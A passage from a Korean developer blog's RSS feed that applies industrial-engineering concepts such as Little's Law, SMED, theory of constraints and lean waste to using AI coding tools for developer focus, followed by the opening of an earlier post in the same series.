&lt;p&gt;지난 글 &lt;a href=&quot;/industrial-engineering-developer-focus/&quot;&gt;개발자 집중 환경 만들기 — 산업공학으로 푸는 딥 워크 설계법&lt;/a&gt;에서, 집중을 막는 건 의지박약이 아니라 &lt;strong&gt;흐름이 막힌 시스템&lt;/strong&gt;이라고 말씀드렸습니다. 그랬더니 이런 질문을 받았습니다. &lt;strong&gt;&quot;그럼 AI로 그 병목을 풀 수 있나요?&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다. 결론부터 말씀드리면 — &lt;strong&gt;네, 풀 수 있습니다. 단, &quot;AI한테 일을 더 시키는&quot; 방식으로는 안 됩니다.&lt;/strong&gt; 산업공학의 렌즈로 보면, AI는 &quot;더 빨리 만드는 도구&quot;가 아니라 &lt;strong&gt;&quot;흐름의 모양을 바꾸는 도구&quot;&lt;/strong&gt; 일 때 진짜 효과가 납니다. 오늘은 1편에서 진단한 병목들을 AI로 공략하는 5가지 전략과, AI가 오히려 새로운 병목이 되는 함정까지 솔직하게 다뤄보겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;큰 그림 — AI는 &quot;처리율&quot;이 아니라 &quot;흐름&quot;을 바꾼다&lt;/h2&gt;
&lt;p&gt;1편에서 &lt;strong&gt;리틀의 법칙&lt;/strong&gt;을 기억하시나요?&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;평균 완료 시간 = 진행 중인 작업 수(WIP) ÷ 처리율(Throughput)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;많은 사람이 AI를 &lt;strong&gt;처리율(Throughput)을 높이는 도구&lt;/strong&gt;로만 씁니다. &quot;코드를 더 빨리 뽑아줘.&quot; 그런데 산업공학이 100년간 배운 교훈은 이겁니다 — &lt;strong&gt;병목이 아닌 곳의 처리율을 높이면, 전체는 1초도 빨라지지 않고 재공품(WIP)만 쌓인다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;그래서 핵심 질문은 &quot;AI로 무엇을 더 빨리 할까&quot;가 아니라 &lt;strong&gt;&quot;AI를 내 흐름의 어느 지점에 투입할까&quot;&lt;/strong&gt; 입니다. 아래 5가지 전략은 모두 이 질문에 대한 답입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;1편에서 진단한 병목&lt;/th&gt;
&lt;th&gt;AI로 공략하는 방법&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;컨텍스트 스위칭 (SMED)&lt;/td&gt;
&lt;td&gt;AI가 맥락을 대신 보관 → 복귀 셋업 시간 흡수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;병목 = 리뷰/사람 (제약이론)&lt;/td&gt;
&lt;td&gt;AI를 정확히 병목 지점에 투입&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;가동률 과부하 (대기행렬)&lt;/td&gt;
&lt;td&gt;AI가 변동(인터럽트)을 흡수해 여백 보존&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7대 낭비 (무다)&lt;/td&gt;
&lt;td&gt;대기·과잉가공·불량을 AI가 직접 제거&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;측정 부재 (DMAIC)&lt;/td&gt;
&lt;td&gt;AI가 흐름 데이터를 분석·가시화&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;1. 컨텍스트를 AI에게 &quot;보관&quot;시켜라 — SMED의 디지털 버전&lt;/h2&gt;
&lt;p&gt;1편에서 가장 큰 낭비는 &lt;strong&gt;컨텍스트 스위칭&lt;/strong&gt;이었습니다. 방해받은 뒤 원래 작업으로 돌아오는 데 평균 약 23분. 이 셋업 시간을 줄이는 게 SMED의 핵심이었죠.&lt;/p&gt;
&lt;p&gt;AI 코딩 에이전트의 진짜 가치는 &quot;코드를 빨리 쓰는 것&quot;이 아니라 &lt;strong&gt;&quot;내가 자리를 비운 사이에도 맥락을 붙들고 있는 것&quot;&lt;/strong&gt; 입니다. 사람의 작업 기억(working memory)은 인터럽트 한 번에 날아가지만, AI는 그렇지 않습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;현장 적용&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;복귀 셋업을 AI에게&lt;/strong&gt;: 회의 다녀온 뒤 &quot;내가 어디까지 했지?&quot; 대신, AI에게 &lt;strong&gt;&quot;방금까지 작업 맥락과 다음 할 일을 3줄로 요약해줘&quot;&lt;/strong&gt; 라고 묻습니다. 23분짜리 복구가 30초로 줄어듭니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;인터럽트를 AI가 1차 흡수&lt;/strong&gt;: &quot;이 함수 어디서 쓰여?&quot; 같은 잔질문을 동료 대신 AI에게 던지면, 내 몰입과 동료의 몰입을 &lt;strong&gt;동시에&lt;/strong&gt; 지킵니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;세션 메모리 활용&lt;/strong&gt;: &lt;a href=&quot;/beginner-guide-2026/&quot;&gt;Claude Code&lt;/a&gt; 같은 에이전트는 작업 맥락을 세션에 유지합니다. 자리를 떠나기 전 &quot;다음 할 일&quot;을 에이전트에게 남겨두면, 그게 곧 SMED의 &quot;외부 셋업(off-line setup)&quot; 이 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;2. AI를 &quot;병목 지점&quot;에 정확히 투입하라 — 제약이론&lt;/h2&gt;
&lt;p&gt;제약이론의 핵심은 &lt;strong&gt;&quot;병목이 아닌 곳을 최적화하면 낭비&quot;&lt;/strong&gt; 였습니다. AI도 똑같습니다. 코드 작성이 병목이 아닌데 AI로 코드만 빨리 뽑으면, 그 코드는 &lt;strong&gt;리뷰 대기 줄에 더 빨리, 더 많이 쌓일 뿐&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;그래서 먼저 물어야 합니다 — &lt;strong&gt;내 흐름에서 가장 오래 막히는 곳은 어디인가?&lt;/strong&gt; 거기에 AI를 투입합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;당신의 병목이…&lt;/th&gt;
&lt;th&gt;AI 투입 지점&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;리뷰 대기가 길다&lt;/td&gt;
&lt;td&gt;AI 1차 리뷰 — 스타일·버그·테스트 누락을 사람 리뷰 &lt;strong&gt;전에&lt;/strong&gt; 거른다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;보일러플레이트에 시간을 뺏긴다&lt;/td&gt;
&lt;td&gt;반복 코드·테스트 코드·마이그레이션을 AI에게 위임&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;디버깅에서 막힌다&lt;/td&gt;
&lt;td&gt;스택트레이스·로그를 AI에게 던져 가설 후보를 받는다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;문서·릴리스 노트가 밀린다&lt;/td&gt;
&lt;td&gt;커밋 히스토리 기반 초안을 AI가 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;현장 적용&lt;/strong&gt; — 골드랫의 &quot;제약을 격상(elevate)하라&quot;의 AI 버전입니다. 리뷰어가 병목이면 AI에게 &lt;strong&gt;리뷰어를 늘리는 게 아니라, 리뷰어의 부담을 더는&lt;/strong&gt; 역할을 줍니다. PR이 올라오기 전에 AI가 사소한 지적을 다 끝내두면, 사람 리뷰어는 &lt;strong&gt;설계와 의도&lt;/strong&gt;에만 집중할 수 있습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;3. AI로 &quot;변동&quot;을 흡수해 여백을 지켜라 — 대기행렬 이론&lt;/h2&gt;
&lt;p&gt;1편에서 가장 반직관적인 개념이 &lt;strong&gt;가동률 80% 룰&lt;/strong&gt; 이었습니다. 여백(slack)이 없으면 작은 충격 하나에 모든 일정이 무너진다는 것. 여기서 무너뜨리는 주범은 보통 &lt;strong&gt;예측 불가능한 변동&lt;/strong&gt; — 갑작스러운 질문, 긴급 버그, 자잘한 요청입니다.&lt;/p&gt;
&lt;p&gt;대기행렬 이론에서 시스템을 망치는 건 평균 부하가 아니라 &lt;strong&gt;변동성(variability)&lt;/strong&gt; 입니다. 그리고 AI가 가장 잘 흡수하는 게 바로 이 &lt;strong&gt;변동성&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;현장 적용&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;변동 수요를 AI 큐로 우회&lt;/strong&gt;: &quot;이 API 어떻게 쓰지?&quot;, &quot;이 에러 뭐지?&quot; 같은 &lt;strong&gt;예측 불가 잔업&lt;/strong&gt;을 AI가 1차로 받아내면, 사람의 캘린더에는 &lt;strong&gt;계획된 일&lt;/strong&gt;만 남습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI가 버퍼 역할&lt;/strong&gt;: 사람을 100%로 채우는 대신, 변동분을 AI에게 흘려보내 &lt;strong&gt;인간 가동률을 70~80%로 유지&lt;/strong&gt;합니다. 그 여백이 곧 시스템 안정성입니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;주의&lt;/strong&gt;: AI 출력에는 검증이 따라붙습니다. 변동을 AI로 우회했다고 검증까지 사라지진 않습니다(→ 5번 함정 참고).&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;4. 7대 낭비를 AI로 제거하라 — 무다(Muda)의 자동 소거&lt;/h2&gt;
&lt;p&gt;1편의 &lt;strong&gt;7대 낭비&lt;/strong&gt; 표를 다시 꺼내, 각 낭비에 AI 대응책을 붙여보겠습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;7대 낭비&lt;/th&gt;
&lt;th&gt;개발에서의 모습&lt;/th&gt;
&lt;th&gt;AI 대응책&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;대기&lt;/td&gt;
&lt;td&gt;리뷰·답변을 기다린다&lt;/td&gt;
&lt;td&gt;AI 1차 리뷰·즉답으로 대기 큐 단축&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;과잉 가공&lt;/td&gt;
&lt;td&gt;필요 이상 다듬는다&lt;/td&gt;
&lt;td&gt;AI 초안 → 사람은 핵심만 손본다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;동작&lt;/td&gt;
&lt;td&gt;환경을 매번 세팅한다&lt;/td&gt;
&lt;td&gt;셋업·스캐폴딩·CI 설정을 AI 자동화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;불량&lt;/td&gt;
&lt;td&gt;버그 → 재작업 악순환&lt;/td&gt;
&lt;td&gt;AI 정적분석·테스트 생성으로 조기 검출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;재고&lt;/td&gt;
&lt;td&gt;미완성 브랜치가 쌓인다&lt;/td&gt;
&lt;td&gt;AI가 작은 단위로 쪼개 빠르게 완료&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;운반&lt;/td&gt;
&lt;td&gt;부서 간 정보가 떠돈다&lt;/td&gt;
&lt;td&gt;AI가 맥락·결정을 문서로 즉시 고정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;과잉 생산&lt;/td&gt;
&lt;td&gt;안 쓰는 기능을 만든다&lt;/td&gt;
&lt;td&gt;(AI가 못 막음 — 이건 &lt;strong&gt;사람의 판단&lt;/strong&gt; 영역)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;마지막 줄이 중요합니다. &lt;strong&gt;&quot;무엇을 만들 것인가&quot;는 AI가 대신해줄 수 없습니다.&lt;/strong&gt; AI는 &lt;em&gt;낭비를 제거&lt;/em&gt;하지만, &lt;em&gt;가장 큰 낭비(잘못된 것을 만드는 것)&lt;/em&gt; 는 여전히 사람의 문제 정의에 달려 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. AI로 흐름을 &quot;측정·분석&quot;하라 — DMAIC 가속&lt;/h2&gt;
&lt;p&gt;산업공학의 마지막 원칙은 &quot;측정하지 않으면 개선할 수 없다&quot;였습니다. 문제는 측정·분석 자체가 시간을 잡아먹는다는 것. 여기서 AI는 &lt;strong&gt;DMAIC 루프(정의-측정-분석-개선)를 단축&lt;/strong&gt;합니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;현장 적용&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;흐름 데이터 분석&lt;/strong&gt;: PR 리드 타임, 이슈 체류 시간 같은 로그를 AI에게 주고 &lt;strong&gt;&quot;어느 단계가 병목인지, 왜인지&quot;&lt;/strong&gt; 를 분석하게 합니다. 사람이 스프레드시트와 씨름할 시간을 아낍니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;회고 자동 초안&lt;/strong&gt;: 한 주의 커밋·PR·이슈를 AI가 요약해 &lt;strong&gt;&quot;이번 주 가장 큰 낭비&quot;&lt;/strong&gt; 후보를 뽑아줍니다. 회고가 감(感)이 아니라 데이터가 됩니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;단, 지표는 사람이 고른다&lt;/strong&gt;: AI에게 &quot;코드 줄 수를 늘려라&quot;를 시키면 정확히 그 잘못된 목표를 향해 최적화합니다. &lt;strong&gt;DORA 지표처럼 흐름 중심 지표&lt;/strong&gt;를 사람이 정의해줘야 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;⚠️ 함정 — AI가 새로운 병목·낭비가 될 때&lt;/h2&gt;
&lt;p&gt;여기까지만 보면 AI가 만능 같지만, 산업공학은 그렇게 순진하지 않습니다. &lt;strong&gt;AI는 잘못 쓰면 새로운 병목과 낭비를 만듭니다.&lt;/strong&gt; 솔직히, 현장에서 더 자주 보이는 게 이쪽입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;검증 큐의 폭증&lt;/strong&gt;: AI가 코드를 10배 빨리 뽑아도, &lt;strong&gt;그걸 검토·검증하는 사람은 그대로&lt;/strong&gt;입니다. 처리율을 한쪽만 올리면 검증이 새 병목이 됩니다. (제약이론 그대로)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WIP 인플레이션&lt;/strong&gt;: &quot;AI가 빠르니까&quot; 동시에 5개 기능을 벌이면, 리틀의 법칙대로 &lt;strong&gt;완료는 더 느려집니다.&lt;/strong&gt; AI는 시작을 쉽게 만들 뿐, 끝내주는 건 아닙니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;제번스의 역설(Jevons Paradox)&lt;/strong&gt;: 효율이 오르면 수요가 더 늘어, &lt;strong&gt;총량은 오히려 증가&lt;/strong&gt;합니다. &quot;AI로 빨라졌으니 일을 더 받자&quot;가 되면 집중은 다시 사라집니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;인지 부하의 이전&lt;/strong&gt;: 코드 작성 부하는 줄지만, &lt;strong&gt;&quot;AI 출력을 신뢰할지 판단하는&quot; 부하&lt;/strong&gt;가 새로 생깁니다. 검증 없는 수용은 곧 불량(버그)으로 돌아옵니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;그래서&lt;/strong&gt; — AI 도입도 1편의 원칙 그대로입니다. &lt;strong&gt;WIP를 제한하고, 병목을 보고, 여백을 지키세요.&lt;/strong&gt; AI는 흐름을 바꾸는 강력한 레버지만, 흐름의 원리 자체를 바꾸진 못합니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;핵심 요약 — AI × 산업공학 집중 전략&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;전략&lt;/th&gt;
&lt;th&gt;산업공학 원리&lt;/th&gt;
&lt;th&gt;오늘 할 수 있는 행동&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;컨텍스트 보관&lt;/td&gt;
&lt;td&gt;SMED (셋업 단축)&lt;/td&gt;
&lt;td&gt;복귀 시 &quot;맥락 3줄 요약&quot; AI에게 요청&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;병목에 투입&lt;/td&gt;
&lt;td&gt;제약이론&lt;/td&gt;
&lt;td&gt;리뷰 전 AI 1차 리뷰 도입&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;변동 흡수&lt;/td&gt;
&lt;td&gt;대기행렬 이론&lt;/td&gt;
&lt;td&gt;잔질문·잔업을 AI 큐로 우회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;낭비 소거&lt;/td&gt;
&lt;td&gt;7대 낭비&lt;/td&gt;
&lt;td&gt;셋업·테스트·문서를 AI 자동화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;흐름 측정&lt;/td&gt;
&lt;td&gt;DMAIC&lt;/td&gt;
&lt;td&gt;PR 리드 타임을 AI로 분석&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;검증 병목 경계&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;제약이론(재적용)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;WIP 상한 유지, AI 출력 반드시 검증&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;한 문장으로 줄이면 — &lt;strong&gt;AI는 &quot;일을 더 시키는 도구&quot;가 아니라 &quot;흐름의 병목을 공략하는 레버&quot;&lt;/strong&gt; 입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q. AI를 쓰면 무조건 생산성이 오르나요?&lt;/strong&gt;
A. 아닙니다. 병목이 아닌 곳에 AI를 투입하면 &lt;strong&gt;재공품(WIP)과 검증 부담만 늘어&lt;/strong&gt; 오히려 느려집니다. 먼저 &quot;내 흐름의 병목&quot;을 찾고, 거기에 AI를 투입해야 효과가 납니다(제약이론).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. AI 코딩 도구가 컨텍스트 스위칭을 정말 줄여주나요?&lt;/strong&gt;
A. 줄여줍니다. 단, &quot;코드를 대신 짜는&quot; 효과보다 &lt;strong&gt;&quot;내가 자리를 비운 사이 맥락을 붙들어주는&quot;&lt;/strong&gt; 효과가 더 큽니다. 복귀 시 맥락 요약, 잔질문 즉답이 23분짜리 복구 시간을 크게 줄입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. AI가 빨라졌는데 왜 더 바빠질까요?&lt;/strong&gt;
A. 제번스의 역설입니다. 효율이 오르면 일을 더 받아들이게 되고, WIP가 늘면서 집중이 다시 깨집니다. &lt;strong&gt;여백을 지키는 규율(WIP 제한)&lt;/strong&gt; 이 AI 시대에 더 중요해진 이유입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;p&gt;1편에서 &quot;집중은 설계할 수 있는 시스템&quot;이라고 했습니다. 2편의 결론은 여기서 한 걸음 더 나갑니다 — &lt;strong&gt;AI는 그 시스템을 더 강하게 만드는 레버이지만, 시스템 설계 자체를 대신해주지는 않습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;AI에게 &quot;더 많이, 더 빨리&quot;를 시키는 대신, &lt;strong&gt;&quot;내 흐름의 어느 병목을 공략할까&quot;&lt;/strong&gt; 를 먼저 물어보세요. 그 질문 하나가 AI를 소음에서 레버로 바꿔줍니다.&lt;/p&gt;
&lt;p&gt;여러분은 AI를 흐름의 어느 지점에 투입하고 계신가요? 효과를 본 곳, 오히려 더 정신없어진 곳 — 댓글로 나눠주시면 함께 정리해보겠습니다. 🙂&lt;/p&gt;
&lt;hr&gt;
&lt;blockquote&gt;
&lt;p&gt;함께 읽으면 좋은 글: &lt;a href=&quot;/industrial-engineering-developer-focus/&quot;&gt;개발자 집중 환경 만들기 — 산업공학으로 푸는 딥 워크 설계법&lt;/a&gt; · &lt;a href=&quot;/ai-era-talent-profile/&quot;&gt;AI 시대 회사가 원하는 인재상&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded></item><item><title><![CDATA[개발자 집중 환경 만들기 — 산업공학으로 푸는 딥 워크 설계법]]></title><description><![CDATA[…]]></description><link>https://blog.javapark.kr/industrial-engineering-developer-focus/</link><guid isPermaLink="false">https://blog.javapark.kr/industrial-engineering-developer-focus/</guid><pubDate>Sat, 06 Jun 2026 10:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/industrial-engineering-developer-focus.png&quot; alt=&quot;개발자 집중 환경 만들기 — 산업공학으로 푸는 딥 워크 설계법&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;오늘도 하루 종일 바빴는데, 정작 코드는 한 줄도 제대로 못 짠 것 같아요.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;이런 날, 한 번쯤 겪어보셨나요? 솔직히 말하면 저도 그랬습니다. 슬랙 답하고, 회의 들어가고, 리뷰 코멘트 달다 보면 어느새 퇴근 시간인데 &quot;오늘 내가 만든 게 뭐지?&quot; 싶은 날 말입니다.&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다. 그런데 흥미로운 이야기를 들었습니다. &lt;strong&gt;개발자가 집중해서 일하는 환경은 &quot;정신력&quot;의 문제가 아니라 &quot;공정 설계&quot;의 문제&lt;/strong&gt;라는 겁니다. 그리고 이걸 가장 오래, 가장 진지하게 연구해온 학문이 바로 &lt;strong&gt;산업공학(Industrial Engineering)&lt;/strong&gt; 입니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — 공장의 생산 라인을 최적화하던 그 원리들이, 놀랍도록 개발 조직에 그대로 들어맞습니다. 오늘은 산업공학의 핵심 개념 7가지를 &lt;strong&gt;개발자 집중 환경 설계법&lt;/strong&gt;으로 번역해 보겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 산업공학인가요? — &quot;집중&quot;은 의지가 아니라 흐름의 문제&lt;/h2&gt;
&lt;p&gt;산업공학은 한 문장으로 말하면 &lt;strong&gt;&quot;사람·기계·자원의 흐름을 낭비 없이 설계하는 학문&quot;&lt;/strong&gt; 입니다. 100년 전 테일러의 시간동작 연구부터 도요타 생산방식, 린(Lean), 식스시그마까지 — 전부 &quot;어떻게 하면 일이 막히지 않고 매끄럽게 흐르게 할까&quot;를 다룹니다.&lt;/p&gt;
&lt;p&gt;개발도 똑같습니다. 코드가 머릿속에서 키보드로 흘러나오려면 &lt;strong&gt;&apos;몰입(flow) 상태&apos;&lt;/strong&gt; 라는 좁은 통로를 지나야 하는데, 우리 일상은 이 통로를 막는 장애물 천지입니다. 그래서 집중은 &quot;더 독하게 마음먹기&quot;로 안 됩니다. &lt;strong&gt;흐름을 막는 구조를 걷어내는 일&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;공장의 문제&lt;/th&gt;
&lt;th&gt;개발 조직의 같은 문제&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;기계 교체 시간(셋업)이 길다&lt;/td&gt;
&lt;td&gt;작업 전환할 때마다 맥락 복구에 20분씩 든다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;재공품(WIP)이 쌓여 라인이 막힌다&lt;/td&gt;
&lt;td&gt;동시에 5개 티켓을 붙잡고 다 못 끝낸다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;병목 공정 하나가 전체를 늦춘다&lt;/td&gt;
&lt;td&gt;리뷰어 한 명이 모든 PR의 병목이다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;설비 가동률 100%인데 납기는 더 늦다&lt;/td&gt;
&lt;td&gt;캘린더가 꽉 찼는데 일은 안 끝난다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;이제 하나씩 풀어보겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;1. 작업 전환 비용을 줄여라 — 개발자의 SMED&lt;/h2&gt;
&lt;p&gt;산업공학에 &lt;strong&gt;SMED(Single-Minute Exchange of Die)&lt;/strong&gt; 라는 기법이 있습니다. 금형(die) 하나 바꾸는 데 몇 시간씩 걸리던 걸 &lt;strong&gt;10분 미만&lt;/strong&gt;으로 줄인 도요타의 혁신이죠. 핵심은 &quot;셋업 시간 자체가 순수한 낭비&quot;라는 자각입니다.&lt;/p&gt;
&lt;p&gt;개발자에게 금형 교체에 해당하는 게 바로 &lt;strong&gt;컨텍스트 스위칭&lt;/strong&gt;입니다. UC어바인의 글로리아 마크(Gloria Mark) 교수 연구에 따르면, 한 번 방해받은 뒤 원래 작업으로 완전히 돌아오는 데 평균 &lt;strong&gt;약 23분&lt;/strong&gt;이 걸립니다(&lt;a href=&quot;https://www.ics.uci.edu/~gmark/Home_page/Welcome.html&quot;&gt;관련 연구 정리&lt;/a&gt;). 코딩하다 슬랙 알림 하나에 흐름이 끊기면, &quot;내가 뭐 하고 있었지&quot;를 복구하는 그 시간이 고스란히 날아갑니다. 하루에 이런 전환이 10번이면, 그냥 2~3시간이 증발하는 셈입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;현장 적용&lt;/strong&gt; — 셋업 시간을 줄이는 SMED처럼, &lt;strong&gt;전환 비용 자체를 설계로 낮춥니다.&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;알림을 Pull로 바꾸기&lt;/strong&gt;: 슬랙·메일이 나를 찌르는(Push) 구조 → 내가 정한 시간에 확인하는(Pull) 구조로. 알림 OFF + 하루 3번 일괄 확인.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&quot;포커스 블록&quot; 캘린더 예약&lt;/strong&gt;: 오전 2시간을 회의 금지 구역으로 못 박기. 팀 단위로 &quot;No-Meeting 오전&quot;을 합의하면 더 강력합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;중단점 메모&lt;/strong&gt;: 자리를 뜨기 전 &quot;다음에 할 일 한 줄&quot;을 코드 주석이나 메모에 남기면, 복귀 셋업 시간이 확 줄어듭니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;2. WIP를 제한하라 — 동시에 5개 잡으면 0개를 끝낸다&lt;/h2&gt;
&lt;p&gt;린/칸반의 가장 강력한 규칙이 &lt;strong&gt;WIP(Work In Progress, 재공품) 제한&lt;/strong&gt;입니다. 공장에서 가공 중인 물건이 라인에 너무 많이 쌓이면, 오히려 전체 처리 속도가 &lt;strong&gt;느려집니다.&lt;/strong&gt; 직관에 반하지만 사실입니다.&lt;/p&gt;
&lt;p&gt;개발도 똑같습니다. &quot;여러 개 동시에 진행 중&quot;은 생산적으로 보이지만, 실제로는 &lt;strong&gt;아무것도 완료(Done)되지 않은 상태&lt;/strong&gt;입니다. 완료되지 않은 일은 가치를 만들지 못하고, 머릿속 인지 부하만 키웁니다.&lt;/p&gt;
&lt;p&gt;여기서 &lt;strong&gt;리틀의 법칙(Little&apos;s Law)&lt;/strong&gt; 이 등장합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;평균 완료 시간 = 진행 중인 작업 수(WIP) ÷ 처리율(Throughput)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;진행 중인 작업(WIP)이 많을수록 각 작업이 끝나기까지의 시간이 &lt;strong&gt;선형으로 늘어납니다.&lt;/strong&gt; 5개를 동시에 붙잡으면, 1개를 끝내는 데 5배의 시간이 걸린다는 뜻입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;현장 적용&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
